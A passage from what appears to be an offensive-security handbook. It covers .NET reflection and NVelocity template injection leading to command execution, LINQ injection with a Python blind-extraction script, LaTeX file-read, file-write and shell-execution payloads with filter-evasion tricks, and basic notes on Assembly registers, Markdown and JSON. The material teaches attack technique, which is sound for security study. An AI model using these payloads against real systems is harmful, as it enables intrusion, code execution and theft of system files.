To create an array, in some cases, the simple `[]` syntax isn't possible. Using more methods, however, we can construct one out of thin air. We'll construct a new variable of type [`List<String>`](https://learn.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1?view=net-9.0) which has an [`Add()`](https://learn.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1.add?view=net-9.0#system-collections-generic-list-1-add\(-0\)) method. To do so, we need to pass [`Assembly.CreateInstance()`](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-9.0#system-reflection-assembly-createinstance\(system-string\)) a stringified version of the type, which we can get as follows:

{% code title="C#" %}

```csharp
var list = new List<string>();
list.GetType().ToString()  // "System.Collections.Generic.List`1[System.String]"
```

{% endcode %}

Finally, to convert this mutable `List` into a `String[]`, we'll use its [`ToArray()`](https://learn.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1.toarray?view=net-9.0#system-collections-generic-list-1-toarray) method:

```javascript
const assembly = Helper.GetType().GetType().Assembly;
const load = assembly.GetType('System.Reflection.Assembly').GetMethods()[0];

const args = assembly.CreateInstance('System.Collections.Generic.List`1[System.String]');
args.Add('System.Diagnostics.Process');
const process = load.Invoke(null, args.ToArray());
```

With this new `Process` assembly, we can prepare the arguments for its [`Start(String, String)`](https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-9.0#system-diagnostics-process-start\(system-string-system-string\)) method which takes the command to execute as its 1st argument, and the arguments (split by space) as shell arguments into the 2nd argument. If we list all the methods, this happens to be the 70th, and we can invoke it similar to before:

<pre class="language-javascript"><code class="lang-javascript">const args2 = assembly.CreateInstance('System.Collections.Generic.List`1[System.String]');
args2.Add('sh');
<strong>args2.Add('-c id>/tmp/pwned');
</strong>console.log(process.GetType('System.Diagnostics.Process').GetMethods()[70].Invoke(null, args2.ToArray()));
</code></pre>

This should save the output of `id` into `/tmp/pwned`.

Similarly, the [**NVelocity**](https://github.com/castleproject/NVelocity/blob/master/docs/nvelocity.md) templating framework can call arbitrary methods on C# objects, and thus is vulnerable to this Reflection abuse to reach RCE:

<pre class="language-velocity" data-title="Exploit 1"><code class="lang-velocity">#set( $assembly = $name.GetType().GetType().Assembly )
#set( $load = $assembly.GetType('System.Reflection.Assembly').GetMethods().Get(0) )
#set( $args = $assembly.CreateInstance("System.Collections.Generic.List`1[System.String]") )
$args.Add("System.Diagnostics.Process")
$args
#set( $process = $load.Invoke(null, $args.ToArray()) )
$process
#set( $args2 = $assembly.CreateInstance("System.Collections.Generic.List`1[System.String]") )
$args2.Add("bash")
<strong>$args2.Add("-c id>/tmp/pwned")
</strong>${process.GetType('System.Diagnostics.Process').GetMethods().Get(70).Invoke(null, $args2.ToArray())}
</code></pre>

Finally, below is another exploit for the same framework that uses some different methods create a [`ProcessStartInfo`](https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo?view=net-9.0) and also return its output in the template content:

<pre class="language-velocity" data-title="Exploit 2"><code class="lang-velocity">#set($a = "")
#set($activator_type = $a.GetType().Assembly.GetType("System.Activator"))
#set($create_instance = $activator_type.GetMethods().Get(8))
#set($args = ["System.Diagnostics.Process, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Diagnostics.Process"])
#set($wrapped_process = $create_instance.Invoke(null, $args.ToArray()))
#set($process = $wrapped_process.Unwrap())

#set($args = ["System.Diagnostics.Process, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Diagnostics.ProcessStartInfo"])
#set($wrapped_process_start_info = $create_instance.Invoke(null, $args.ToArray()))
#set($process_start_info = $wrapped_process_start_info.Unwrap())

<strong>#set($process_start_info.FileName = "id")
</strong>#set($process_start_info.RedirectStandardOutput = true)

#set($flag = $process.Start($process_start_info))
<strong>$!flag.StandardOutput.ReadToEnd()
</strong></code></pre>

## LINQ Injection

[Language Integrated Query (LINQ)](https://learn.microsoft.com/en-us/dotnet/csharp/linq/) is a Microsoft library for C# used to query objects similar to SQL syntax. It does, however, support C# syntax with function calls embedded inside the syntax, such as:

```csharp
using System.Linq.Dynamic.Core;

var query = products.AsQueryable();
var response = query.Where($"Name.Contains(\"{showProducts.name}\")");
```

The above inserts user input from `showProducts.name` into the `Where()` call, which without sanitization allows an attacker to escape the `"` (double quote) and rewrite the query. For example:

* `X") || 1==1 || "" == ("X`: Shows all products
* `X") || 1==2 || "" == ("X`: Empty array

### Version < 1.3.0 RCE

The following Github Repository and accompanying article explain how to exploit such an injection for consistent Remote Code Execution.

{% embed url="<https://github.com/Tris0n/CVE-2023-32571-POC>" %}
Proof of Concept of the RCE
{% endembed %}

{% embed url="<https://www.nccgroup.com/us/research-blog/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/>" %}
Explanation and technical details of how it was found
{% endembed %}

### Latest version property access

[The patch](https://github.com/zzzprojects/System.Linq.Dynamic.Core/commit/3fb84e971abe5fb4d991a2db5f8ad125d075d062#diff-d74bcce2f4faee6ebab990038227298e78241010e3fd6e79fd8f9ab65cb73954L1706) **only restricts method calling to predefined types**. This means that methods on Strings, Arrays, etc. will work, but methods on custom types will not. It is still possible to run methods on custom types that are inherited from allowed classes, and it is still possible to access any properties.

`"".GetType().Module.Assembly` still works to get the *Standard Module*.

`GetType().Module.Assembly` gets the module of the object passed into the `Where()` function, often custom code.

By chaining more properties and using `ToArray()` on enumerables, it is possible to enumerate all classes, attributes, properties and methods in a module. The following script implements this using binary search and requires a `test()` function that injects in such a way that you can evaluate a condition.

<pre class="language-python" data-title="Exploit Script"><code class="lang-python">import requests
from tqdm import tqdm

HOST = "http://localhost:8000"

<strong>def test(condition):
</strong><strong>    data = {
</strong><strong>        "name": f"X\") || {condition} || \"\" == (\"X"
</strong><strong>    }
</strong><strong>    r = requests.post(HOST + "/api/products", json=data)
</strong><strong>    return len(r.json()["products"]) > 0
</strong>
assert test("1==1")
assert not test("1==2")

def binary_search(expression, lo=0, hi=127):
    """Find the value of an integer"""
    while lo &#x3C; hi:
        mid = (lo + hi + 1) // 2
        if test(f"{expression} &#x3C; {mid}"):
            hi = mid - 1
        else:
            lo = mid

    return lo

def find_string(expression):
    length = binary_search(f"{expression}.Length", hi=2**16)

    content = bytes([binary_search(f"{expression}[{i}].CompareTo('\x00')")
                     for i in tqdm(range(length), desc=expression, leave=False)])

    return content.decode()

types = "GetType().Module.Assembly.DefinedTypes"
types_len = binary_search(f"{types}.ToArray().Length")

for type_i in range(types_len):
    type = f"{types}.ToArray()[{type_i}]"
    type_name = find_string(f"{type}.Name")
    print(f"class {type_name} {{")

    properties_len = binary_search(
        f"{type}.DeclaredProperties.ToArray().Length")
    for property_i in range(properties_len):
        property = f"{type}.DeclaredProperties.ToArray()[{property_i}]"
        property_type = find_string(f'{property}.PropertyType.Name')
        property_name = find_string(f'{property}.Name')
        print(f"  {property_type} {property_name} {{ get; set; }}")

    fields_len = binary_search(f"{type}.DeclaredFields.ToArray().Length")
    for field_i in range(fields_len):
        field = f"{type}.DeclaredFields.ToArray()[{field_i}]"
        field_type = find_string(f'{field}.FieldType.Name')
        field_name = find_string(f'{field}.Name')
        print(f"  {field_type} {field_name};")

    print()

    methods_len = binary_search(f"{type}.DeclaredMethods.ToArray().Length")
    for method_i in range(methods_len):
        method = f"{type}.DeclaredMethods.ToArray()[{method_i}]"
        method_return_type = find_string(f"{method}.ReturnType.Name")
        method_name = find_string(f"{method}.Name")
        print(f"  {method_return_type} {method_name}() {{}}")

    print("}\n")
</code></pre>

Example output looks like this (note that some magic members are also added, these can be ignored):

{% code title="Output" %}

```csharp
class <>f__AnonymousType0`1 {
  <Products>j__TPar Products { get; set; }
  <Products>j__TPar <Products>i__Field;

  <Products>j__TPar get_Products() {}
  Boolean Equals() {}
  Int32 GetHashCode() {}
  String ToString() {}
}

class ProductsController {
  String secret;

  String testfunc() {}
  IActionResult Show() {}
}

class Product {
  String Name { get; set; }
  String <Name>k__BackingField;

  String get_Name() {}
  Void set_Name() {}
}

class Program {

  Void <Main>$() {}
}

class ShowProducts {
  String name { get; set; }
  String <name>k__BackingField;

  String get_name() {}
  Void set_name() {}
}
```

{% endcode %}

### Filter Bypasses

1. Any method call like `.GetType()` can be obfuscated as `.@GetType()`
2. Whitespace also works, eg. `. GetType()`


# Assembly

A few cheatsheet-like things about the Assembly language

## Registers

Generally, `r`-prefixed registers are 64-bit, `e`-prefixed registers are 32-bit, non-prefixed registers are 16-bit, and `l`-suffixed registers are 8-bit. For `r8-15` see the special cases below ([source](https://stackoverflow.com/a/20637866/10508498)):

<table><thead><tr><th width="203">64-bit register</th><th width="192">Lower 32 bits</th><th width="190">Lower 16 bits</th><th>Lower 8 bits</th></tr></thead><tbody><tr><td><code>rax</code></td><td><code>eax</code></td><td><code>ax</code></td><td><code>al</code></td></tr><tr><td><code>rbx</code></td><td><code>ebx</code></td><td><code>bx</code></td><td><code>bl</code></td></tr><tr><td><code>rcx</code></td><td><code>ecx</code></td><td><code>cx</code></td><td><code>cl</code></td></tr><tr><td><code>rdx</code></td><td><code>edx</code></td><td><code>dx</code></td><td><code>dl</code></td></tr><tr><td><code>rsi</code></td><td><code>esi</code></td><td><code>si</code></td><td><code>sil</code></td></tr><tr><td><code>rdi</code></td><td><code>edi</code></td><td><code>di</code></td><td><code>dil</code></td></tr><tr><td><code>rbp</code></td><td><code>ebp</code></td><td><code>bp</code></td><td><code>bpl</code></td></tr><tr><td><code>rsp</code></td><td><code>esp</code></td><td><code>sp</code></td><td><code>spl</code></td></tr><tr><td><code>r8</code></td><td><code>r8d</code></td><td><code>r8w</code></td><td><code>r8b</code> (<code>r8l</code>)</td></tr><tr><td><code>r9</code></td><td><code>r9d</code></td><td><code>r9w</code></td><td><code>r9b</code> (<code>r9l</code>)</td></tr><tr><td><code>r10</code></td><td><code>r10d</code></td><td><code>r10w</code></td><td><code>r10b</code> (<code>r10l</code>)</td></tr><tr><td><code>r11</code></td><td><code>r11d</code></td><td><code>r11w</code></td><td><code>r11b</code> (<code>r11l</code>)</td></tr><tr><td><code>r12</code></td><td><code>r12d</code></td><td><code>r12w</code></td><td><code>r12b</code> (<code>r12l</code>)</td></tr><tr><td><code>r13</code></td><td><code>r13d</code></td><td><code>r13w</code></td><td><code>r13b</code> (<code>r13l</code>)</td></tr><tr><td><code>r14</code></td><td><code>r14d</code></td><td><code>r14w</code></td><td><code>r14b</code> (<code>r14l</code>)</td></tr><tr><td><code>r15</code></td><td><code>r15d</code></td><td><code>r15w</code></td><td><code>r15b</code> (<code>r15l</code>)</td></tr></tbody></table>

See [Shellcode](/binary-exploitation/shellcode) for writing malicious Assembly code and some examples of compiling


# Markdown

Markdown is an easy to use markup language used in the Github README for example

## Syntax

Markdown is a standard for text markup. It allows you to make text **bold**, *italic*, and in all kinds of different styles. It uses special characters around certain text to apply markup to it. Often markdown is used in text editors like on GitHub `README.md` files or Discord messages. Then the files are converted to another language like HTML with CSS or PDF to actually show the Here are the rules:

{% embed url="<https://www.markdownguide.org/cheat-sheet/>" %}
A cheatsheet explaining all of the Markdown syntax
{% endembed %}

| Element                                                             | Markdown Syntax                                                                                    |
| ------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| <h3>Heading</h3>                                                    | <p><code># H1</code><br><code>## H2</code><br><code>### H3</code></p>                              |
| **Bold**                                                            | `**bold text**`                                                                                    |
| *Italic*                                                            | `*italicized text*`                                                                                |
| ![](/files/8zHlKHDmtVWA1q6QdrEd)                                    | `> blockquote`                                                                                     |
| <ol><li>First item</li><li>Second item</li><li>Third item</li></ol> | <p><code>1. First item</code><br><code>2. Second item</code><br><code>3. Third item</code><br></p> |
| <ul><li>First item</li><li>Second item</li><li>Third item</li></ul> | <p><code>- First item</code><br><code>- Second item</code><br><code>- Third item</code><br></p>    |
| `code`                                                              | `` `code` ``                                                                                       |
| ![](/files/7iNju2FZpMUx4HAe2ZBo)                                    | `---`                                                                                              |
| [Link](https://www.example.com)                                     | `[title](https://www.example.com)`                                                                 |
| ![](/files/IQdKbnekecfUGW3Lo1lk)                                    | `![alt text](image.jpg)`                                                                           |

### Advanced Syntax

<table data-header-hidden><thead><tr><th></th><th></th></tr></thead><tbody><tr><td></td><td><code>| Syntax | Description |</code><br><code>| ----------- | ----------- |</code><br><code>| Header | Title |</code><br><code>| Paragraph | Text |</code></td></tr><tr><td><pre class="language-json"><code class="lang-json">{
  "firstName": "John",
  "lastName": "Smith",
  "age": 25
}
</code></pre></td><td><code>```json</code><br><code>{</code><br><code>"firstName": "John",</code><br><code>"lastName": "Smith",</code><br><code>"age": 25</code><br><code>}</code><br><code>```</code></td></tr><tr><td><del>Strikethrough</del></td><td><code>~~strikethrough~~</code></td></tr><tr><td><ul class="contains-task-list"><li><input type="checkbox" checked>Checklist</li><li><input type="checkbox">Item 2</li><li><input type="checkbox">Item 3</li></ul></td><td><code>- [x] Write the press release</code><br><code>- [ ] Update the website</code><br><code>- [ ] Contact the media</code></td></tr><tr><td>Emoji! 😀</td><td><code>Emoji! :grinning:</code></td></tr></tbody></table>

| Syntax    | Description |
| --------- | ----------- |
| Header    | Title       |
| Paragraph | Text        |

## Markdown XSS

Markdown often gets compiled to HTML to be styled with CSS later. When converting something to HTML you need to make sure attackers can't inject arbitrary HTML, like `<script>` tags. Another idea is a `javascript:` URL in links so JavaScript code is executed when clicked. You can find a lot of Markdown XSS payloads in the following list:

{% embed url="<https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt>" %}
List of Markdown XSS payloads
{% endembed %}

To fuzz for and create **your own payloads**, read the following article where they explore an idea for different nested parsers that can mutate into XSS:

{% embed url="<https://swarm.ptsecurity.com/fuzzing-for-xss-via-nested-parsers-condition/>" %}
A methodology for finding Markdown XSS parser vulnerabilities in custom implementations
{% endembed %}


# LaTeX

A powerful language for text markup and document generation, but dangerous for user input

## Basics

$$\LaTeX$$ is used in many different contexts, often to create complex expressions like formulas, but it can even create whole documents which is often seen in official research papers.

### Syntax

{% embed url="<https://latexref.xyz/index.html>" %}
A comprehensive list of many LaTeX commands explained with their purpose and syntax
{% endembed %}

The basic syntax of LaTeX is referencing variables and commands by prefixing words with a `\` backslash. To provide arguments to a command, use `{}` curly braces to surround them. A full document always starts with some small boilerplate defining what type of document it is, and where its contents begin:

{% code title="helloworld.tex" %}

```latex
\documentclass{article}
\begin{document}
Hello, world!
\end{document}
```

{% endcode %}

You can define commands yourself using the [`\newcommand`](https://latexref.xyz/_005cnewcommand-_0026-_005crenewcommand.html) command, and use them throughout the document:

```latex
\documentclass{article}
\newcommand{\somecommand}{Hello, world!}
\begin{document}
Result: \somecommand
\end{document}
```

> Result: Hello, world!

{% hint style="info" %}
Use `\renewcommand` instead if the command already exists, which will overwrite it
{% endhint %}

### Compiling

A `.tex` file commonly gets compiled into a `.pdf` file for publishing, which is as easy as running the `pdflatex` command on the file:

{% code title="file.tex" %}

```latex
\documentclass{standalone}
\begin{document}
Hello, world!
\end{document}
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ pdflatex file.tex
</strong>...
Output written on file.pdf (1 page, 9784 bytes)
</code></pre>

During this compilation, all the code included in the source file is executed to generate the resulting PDF. As we will explore more in the [#exploitation-injection](#exploitation-injection "mention") section, there are some dangerous commands that a document may or may not run by the compiler. This depends on a few command-line flags with levels of restriction:

1. `--shell-escape`: **Enable** `\write18` completely, allowing any unrestricted shell commands
2. `--shell-restricted`: **Enable** `\write18`, but only certain predefined '**safe**' commands (default)
3. `--no-shell-escape`: **Disable** `\write18` completely

## Exploitation (Injection)

LaTeX is very powerful and can do almost anything. From reading files to include in the document, to even writing files and executing system commands directly. Because of this, it is always dangerous to run user-provided code with LaTeX, and filter-based protection is hard to implement because of the complexity of the language and all the ways to bypass it.

### Contexts

There are a few special contexts where you may be able to inject. Depending on this, you may or may not be able to use certain commands, so it is important to understand how they work.

#### Preamble

One useful command is `\usepackage` to import LaTeX packages with extra functionality. This can only be used **before** `\begin` in the "preamble". Trying to use it after will result in an error message. For example:

<pre class="language-latex" data-title="Error"><code class="lang-latex">\documentclass{article}
\begin{document}
<strong>\usepackage{eurosym}
</strong>\euro{13.37}
\end{document}
</code></pre>

<pre class="language-latex" data-title="Success"><code class="lang-latex">\documentclass{article}
<strong>\usepackage{eurosym}
</strong>\begin{document}
\euro{13.37}
\end{document}
</code></pre>

If your injection point is after here you will not be able to import new packages, and will have to do with already imported ones.

#### Formulas (math mode)

By surrounding text with `$$` it becomes a formula in LaTeX, which looks slightly different and has different rules. One example I could find is the `\url{}` command from the `hyperref` package:

{% code title="Error" %}

```latex
\documentclass{article}
\usepackage{hyperref}
\begin{document}
$\url{https://book.jorianwoltjer.com/}$
\end{document}
```

{% endcode %}

This gives a vague error "LaTeX Error: Command $ invalid in math mode", that can be fixed by escaping from the formula. Simply close it again with another `$` in your input, perform the commands you want, and then finish again with another formula definition:

{% code title="Success" %}

```latex
\documentclass{article}
\usepackage{hyperref}
\begin{document}
$a$\url{https://book.jorianwoltjer.com/}$b$
\end{document}
```

{% endcode %}

### File read

Let's start with exploiting. Without any special flags, LaTeX can read and include system files in the output, in a few different ways. One simple way is using [`\input`](https://latexref.xyz/_005cinput.html) which runs and includes the specified file as more LaTeX code:

```latex
\input{/etc/passwd}
```

Another similar one is [`\include`](https://latexref.xyz/_005cinclude-_0026-_005cincludeonly.html) with the difference being that it can only include `.tex` files:

```latex
\include{secret}  % includes secret.tex
```

{% hint style="warning" %}
Both of the above methods include the content **as LaTeX code**, meaning any weird symbols may throw off the syntax. You may be able to fix parts of the syntax by prefixing it, but there might be cleaner ways designed to include raw data using packages
{% endhint %}

If the `listings` package is included, you will have access to the `\lstinputlisting` command which also reads the file from its argument:

```latex
\usepackage{listings}
...
\lstinputlisting{/etc/passwd}
```

Similarly, the `verbatim` package also reads text literally:

```latex
\usepackage{verbatim}
...
\verbatiminput{/etc/passwd}
```

A more manual way (without packages) is opening a file and reading its lines:

```latex
\newread\file       % define \file variable
\openin\file=/etc/passwd  % open file into variable
\loop\unless\ifeof\file   % keep reading until EOF
    \read\file to\line    % read to \line variable
    \line       % print \line variable
\repeat
\closein\file
```

{% hint style="warning" %}
This method also executes content as LaTeX, meaning special characters like `_` underscores may generate errors. We can patch some of these characters we find using [`\catcode`](https://en.wikibooks.org/wiki/TeX/catcode) which changes the category of a character, into meaning a literal character:

```latex
\catcode`\_=12  % Print '_' characters literally in the future
\newread\file
...
```

{% endhint %}

A binary file with special characters is not directly readable with these methods. If your target uses `pdflatex` for compilation, you can include a file directly as a PDF stream instead. We also print the stream ID to easily extract the file later:

```latex
\documentclass{standalone}
\begin{document}
\immediate\pdfobj stream attr {/Type /EmbeddedFile} file {/path/to/file.bin}
The stream ID is: \the\pdflastobj
\end{document}
```

Use a PDF analyzer like `mutool` to extract the PDF stream from the resulting PDF. The `-b` flag shows only stream contents without PDF object metadata:

```bash
mutool show -b out.pdf <stream ID>
```

### File write

Without any special flags, LaTeX can **write any file** to the system, which can lead to all kinds of problems. This is arguably the most dangerous default feature of LaTeX and why user input should never be trusted there. See [Linux Privilege Escalation](/linux/linux-privilege-escalation#writing-files) for some ideas on privilege escalation techniques.

Similarly to [#file-read](#file-read "mention"), you can open and write to a file:

```latex
\newwrite\file
\openout\file=file.txt      % open file for writing into variable
\write\file{Hello, world!}  % write the content
\closeout\outfile
A     % filler because an empty document doesn't execute
```

Depending on the backend, you may be able to write or overwrite critical files like source code or templates to achieve full Remote Code Execution.

### Command Execution (RCE)

LaTeX is so powerful that it can execute system commands from its syntax, in multiple different ways. One is to use the [`\write18`](https://latexref.xyz/_005cwrite18.html) command that accepts the command you wish to execute as the argument:

```latex
\documentclass{article}
\begin{document}
\write18{id > /tmp/pwned}
A     % filler because an empty document doesn't execute
\end{document}
```

Another less common way is using [`\input`](https://latexref.xyz/_005cinput.html) and the `|` character:

```latex
\documentclass{article}
\begin{document}
% short:
\input|id|base64
% alternative:
\input|uname${IFS}-a|base64
\input|echo${IFS}aWQgPiAvdG1wL3B3bmVk|base64${IFS}-d|bash
% simple & flexible:
\input{|"uname -a | base64"}
\end{document}
```

As explained in [#compiling](#compiling "mention"), the list of allowed commands is very restricted by default. The examples above would only execute if `--shell-escape` was turned on, allowing arbitrary commands.

The default allowed commands are stored in a big configuration file at `/usr/share/texmf/web2c/texmf.cnf` where there are two interesting settings:

{% code title="texmf.cnf" %}

```latex
% Enable system commands via \write18{...}.  When enabled fully (set to
% t), obviously insecure.  When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed.  Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p

% No spaces in this command list.
% 
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar to or higher than openout_any=p.  They also have
% no features to invoke arbitrary other programs, and no known
% exploitable bugs.  All to the best of our knowledge.  They also have
% practical use for being called from TeX.
% 
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
gregorio,\
kpsewhich,\
makeindex,\
repstopdf,\
r-mpost,\
texosquery-jre8,\
```

{% endcode %}

The `shell_escape` setting determines the default option in the 3 levels explained above. In the restricted mode the `shell_escape_commands` variable is used to select which commands are allowed as a comma-separated list. These commands should not allow you to do anything malicious, but there is a history of exploiting some of the functionality in these binaries to still perform some interesting actions.

If plain `mpost` is allowed (default in earlier versions) the whole protection can be escaped by injecting commands ([source](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)). First, any parsable MetaPost file needs to be created to make the command not crash before our payload. This can be an existing file, or possibly a file you created yourself like via uploads:

{% code title="file.txt" %}

```latex
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
```

{% endcode %}

Then the following `mpost` arguments can execute arbitrary commands:

```bash
mpost -ini '-tex=bash -c (id)>/tmp/pwned' file.txt
```

The example above executes `id`, but trying a more complex command will run into escaping troubles because **spaces** don't work. To make this easier, you can simply use `${IFS}` to replace the space and use Base64 to describe the real payload ([CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Base64\('A-Za-z0-9%2B/%3D'\)\&input=aWQgPiAvdG1wL3B3bmVk)):

```bash
mpost -ini '-tex=bash -c (base64${IFS}-d<<<aWQgPiAvdG1wL3B3bmVk|bash)' file.txt
```

Inside of LaTeX, it would look like this:

{% code title="Method 1" %}

```latex
\immediate\write18{mpost -ini '-tex=bash -c (base64${IFS}-d<<<aWQgPiAvdG1wL3B3bmVk|bash)' file.txt}
```

{% endcode %}

{% code title="Method 2" %}

```latex
\input{|"mpost -ini '-tex=bash -c (base64${IFS}-d<<<aWQgPiAvdG1wL3B3bmVk|bash)' file.txt"}
```

{% endcode %}

### Filter Bypass

#### Commands

Some dangers LaTeX commands might be blocked by a blacklist filter, which is hard to make because there are many tricks to circumvent such filters with alternative methods.

The following paper explores many different ideas for attacking LaTeX files and has some tricks to evading filters (**4.5**):

{% embed url="<https://www.researchgate.net/publication/234829253_Are_text-only_data_formats_safe_or_use_this_LATEX_class_file_to_Pwn_your_computer>" %}
Exploring the attack surface of LaTeX files including techniques for Evading Filters
{% endembed %}

One powerful trick if commands are blocked using strings like `"\input"` is to use `\csname` which can represent a command without putting a `\` in front of the command's name:

```latex
\csname input\endcsname{|"id > /tmp/pwned"}
% === equivalent to ===
\input{|"id > /tmp/pwned"}
```

Another very powerful technique is using [`\catcode`](https://en.wikibooks.org/wiki/TeX/catcode) to change the meaning (**cat**egory) of characters. For example, we could change the `X` character to mean "**escape**" just like `\` would regularly. This is another way to evade filters that find commands prefixed with backslashes, but can also be used to replace **any other special character** (see the link for a list of values).

```latex
\catcode`X=0                % change meaning of X to 'escape character'
Xinput{|"id > /tmp/pwned"}  % use X as an escape character to run \input
```

Using the special [`\makeatletter`](https://tex.stackexchange.com/a/8353) (make `@` letter) you can change the category code of specifically the `@` character to use some special encodings of `\input`:

```latex
\makeatletter               % change meaning of @ to 'letter'
\@input{|"id > /tmp/pwned}
\@@input|"id > /tmp/pwned"
\@iinput{|"id > /tmp/pwned}
\@input@{|"id > /tmp/pwned}
% === equivalent to ===
\catcode`\@=11
```

Using `^^XX` hex escape sequences you can also represent **any** blocked characters literally, meaning that if this way is not blocked, you can evade **any filter at all** ([CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex\('None',0\)Find_/_Replace\(%7B'option':'Regex','string':'..'%7D,'%5E%5E$%26',true,false,true,false\)\&input=XGlucHV0e3wiaWQgPiAvdG1wL3B3bmVkIn0)).

{% code overflow="wrap" %}

```latex
% escaped \
^^5cinput{|"id > /tmp/pwned"}
% escaped everything
^^5c^^69^^6e^^70^^75^^74^^7b^^7c^^22^^69^^64^^20^^3e^^20^^2f^^74^^6d^^70^^2f^^70^^77^^6e^^65^^64^^22^^7d
% custom character by changing category
\catcode`X=7                  % change meaning of X to 'superscript' (^)
XX5cinput{|"id > /tmp/pwned}  % replace ^^ with XX
```

{% endcode %}

Lastly, by defining your own `\begin` and `\end` section, you can get arbitrary commands to be called. The argument in `\begin` defines the command, and the text in between is the argument. This trick bypasses almost any `\` blacklist because it only uses regular `\begin` and `\end`:

```latex
\begin{input}{|"id > /tmp/pwned"}\end{input}
```

{% hint style="info" %}
**Tip**: While one single of these techniques might not get straight through the filter, combining them can make it even more powerful. Try using one technique to set up another to obfuscate it for any detection there may be
{% endhint %}

#### Repeating

A filter might try to prevent loops using `\repeat` or similar functions, but forget that **recursion** is also an option. Here is a short command (named `\l`) that creates a **loop** for N times, with the first argument being the number of loops, and the second argument being the code to execute:

```latex
\renewcommand\l[2]{\ifnum#1>0#2\l{\numexpr#1-1\relax}{#2}\fi}
```

This can for example be used to read lines in a file:

```latex
\newread\file
\openin\file=/etc/passwd
\catcode`_=12
\l{10}{\read\file to\line\line}  % read and print the first 10 lines
\closein\file
```

To read the entire file, you can also make the EOF stop the recursion inside the command:

```latex
% define command \r to read and print a line if not EOF, and then call itself again
\renewcommand\r{\ifeof\file\else\read\file to\line\line\r\fi}
\catcode`_=12
\newread\file
\openin\file=/etc/passwd
\r  % call the read function
\closein\file
```


# JSON

JSON is a widely used format to store structured data, with arrays and dictionary keys

## Description

JSON (JavaScript Object Notation) was originally only used for JavaScript, but nowadays it's used in all sorts of languages and applications. It's a simple format consisting of lists, dictionaries, strings, and numbers which almost all languages can understand.

The power comes from being able to nest lists and dictionaries:

{% code title="Example" %}

```json
{
    "something": {
        "list": [1, 2, 3, 4],
        "keys": {
            "number": 123,
            "string": "Hello, world!"
        },
        "array": [
            {
                "with": "a"
            },
            {
                "dictionary": "inside"
            }
        ]
    }
}
```

{% endcode %}

You can represent any combination of lists and dictionaries like this. With numbers or strings as the final value for a key.

To validate a JSON string, or to format it nicely you can use the following online tool:

{% embed url="<https://jsonformatter.curiousconcept.com/>" %}
A tool where you can paste in JSON to validate and format it
{% endembed %}

### Format rules

There are a few edge cases where JSON has some rules on how it's formatted.

* **Escaping strings**: Not all characters can be in `""` strings. This `"` double quote itself for example needs to be escaped if you want to represent it in a string. This is done with the `\` **backslash**, like `\"`. You can also escape the backslash by escaping it with another backslash, like `\\`. Newlines are also not allowed in strings, which is why you need to `\n` character to represent a newline.
* **No comma on the end of a list/dictionary**: When defining a list like `[1,2,3,4]` you may not include an extra comma like `[1,2,3,4,]`. Some programming languages are flexible with this, but JSON is not.
* **No single quotes**: JSON works exclusively with `"` double quotes, meaning you **cannot** define strings with `'` single quotes. Some programming languages are flexible with this, but JSON is not.
* **Whitespace does not matter**: Whitespace between lists, dictionary keys, etc. does not matter in JSON. You can have a very compact format without any newlines or spaces. Or a very readable format like in the example above, with newlines and spaces.

## Languages

A few examples of how to use JSON for specific programming languages.

### JavaScript

You can use the [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) and [`JSON.parse()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) standard functions to convert to and from JSON. Here JavaScript will output compact JSON without any whitespace by default.

```javascript
// Object to JSON string
>>> let data = {
        'something': {
            "list": [1, 2, 3, 4],
            'keys': {
                "number": 123,
                "string": 'Hello, world!'
            },
            "array": [
                {"with": 'a'},
                {"dictionary": "inside"}
            ]
        }
    }
>>> JSON.stringify(data)
'{"something":{"list":[1,2,3,4],"keys":{"number":123,"string":"Hello, world!"},"array":[{"with":"a"},{"dictionary":"inside"}]}}'

// JSON string to Object
>>> JSON.parse('{"something":{"list":[1,2,3,4],"keys":{"number":123,"string":"Hello, world!"},"array":[{"with":"a"},{"dictionary":"inside"}]}}')
{something: {…}}
```

### Python

Python has the standard [`json`](https://docs.python.org/3/library/json.html) module that can load and dump JSON data. It works very similarly to the JavaScript functions from above.

```python
import json

# Object to JSON string
>>> data = {
        'something': {
            "list": [1, 2, 3, 4],
            'keys': {
                "number": 123,
                "string": 'Hello, world!'
            },
            "array": [
                {"with": 'a'},
                {"dictionary": "inside"}
            ]
        }
    }
>>> json.dumps(data)
'{"something": {"list": [1, 2, 3, 4], "keys": {"number": 123, "string": "Hello, world!"}, "array": [{"with": "a"}, {"dictionary": "inside"}]}}'
>>> json.dumps(data, indent=4)  # Pretty formatted
'{\n    "something": {\n        "list": [\n            1,\n            2,\n            3,\n            4\n        ],\n        "keys": {\n            "number": 123,\n            "string": "Hello, world!"\n        },\n        "array": [\n            {\n                "with": "a"\n            },\n            {\n                "dictionary": "inside"\n            }\n        ]\n    }\n}'

# JSON string to Object
>>> json.loads('{"something": {"list": [1, 2, 3, 4], "keys": {"number": 123, "string": "Hello, world!"}, "array": [{"with": "a"}, {"dictionary": "inside"}]}}')
{'something': {…}}
```

## Parser Differentials

